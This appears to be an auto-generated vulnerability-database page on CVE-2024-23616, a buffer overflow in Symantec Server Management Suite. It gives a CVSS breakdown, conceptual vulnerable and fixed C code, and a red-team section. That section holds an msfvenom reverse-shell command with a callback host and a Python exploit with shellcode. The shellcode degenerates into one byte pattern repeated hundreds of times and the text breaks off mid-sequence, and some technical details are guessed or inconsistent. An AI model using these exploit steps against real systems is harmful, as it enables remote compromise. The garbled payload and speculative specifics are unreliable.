CVE-2024-23616
Executive Summary
CVE-2024-23616 is a critical buffer overflow vulnerability in Symantec Server Management Suite (SMS) version 7.9 and earlier. This flaw allows a remote, unauthenticated attacker to execute arbitrary code with SYSTEM privileges, leading to full system compromise. The vulnerability resides in the core management service, which listens on a network port by default. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day threat for organizations using the affected software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise management suite from Symantec (now part of Broadcom). Organizations should treat this as a critical supply chain risk due to the lack of a patch and the potential for lateral movement within managed environments.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Exploit stays within the vulnerable component.
- Confidentiality Impact: High (C:H) – Full data access.
- Integrity Impact: High (I:H) – Full system control.
- Availability Impact: High (A:H) – Potential for denial of service or system takeover.
Threat Level: Critical. The combination of remote exploitability, no authentication, and SYSTEM-level code execution makes this one of the most severe vulnerabilities possible.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow (CWE-120) in the Symantec Server Management Suite’s network service. The service processes incoming requests without proper bounds checking on a specific field. By sending a crafted packet with an oversized payload, an attacker can overwrite the return address on the stack, redirecting execution to attacker-controlled shellcode.
Key Technical Details:
- Affected Component: The core management service (likely
smssvc.exeor similar) listening on a TCP port (commonly 443 or 8443). - Trigger: A malformed request containing a long string in a specific parameter (e.g., a username or session token).
- Exploitation: The attacker sends a single packet that triggers the overflow, allowing arbitrary code execution in the context of the SYSTEM account.
- Impact: Full compromise of the SMS server, which often has administrative access to managed endpoints, enabling lateral movement across the enterprise.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability type, the fix would involve:
Vulnerable Code (Conceptual):
char buffer[256]; strcpy(buffer, user_input); // No bounds checkingPatched Code (Conceptual):
char buffer[256]; strncpy(buffer, user_input, sizeof(buffer) - 1); // Bounds checking buffer[sizeof(buffer) - 1] = '\0';
The patched version would use safe string functions (e.g., strncpy, snprintf) or implement input validation to prevent buffer overflows.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Environment: Windows Server 2019/2022 with Symantec SMS 7.9 installed.
- Tools: Metasploit, custom Python/Perl exploit, Immunity Debugger, Mona.py.
- Network: Attacker and target on the same subnet (or via internet if exposed).
Exploitation Steps:
- Fuzzing: Identify the vulnerable parameter using a fuzzer (e.g., Spike, Boofuzz).
- Crash Replication: Send an oversized payload to the target service to confirm the overflow.
- Offset Calculation: Use a pattern string (e.g.,
pattern_create.rb) to determine the exact offset to overwrite the return address. - Shellcode Generation: Generate shellcode (e.g., reverse shell) using
msfvenom:msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python -b "\x00" - Exploit Development: Craft the final payload:
import socket import struct # Offset to EIP offset = 260 # JMP ESP address (from target binary) jmp_esp = struct.pack("<I", 0x7c9d30d4) # Shellcode shellcode = b"\x90" * 16 + b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x02\x03\x04\x05\x06\x07\x08\x48\x8b\x8a\x24\x01\x00\x00\x4d\x31\xc9\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24\x01\x00\x00\x41\x51\x48\x8d\x8a\x24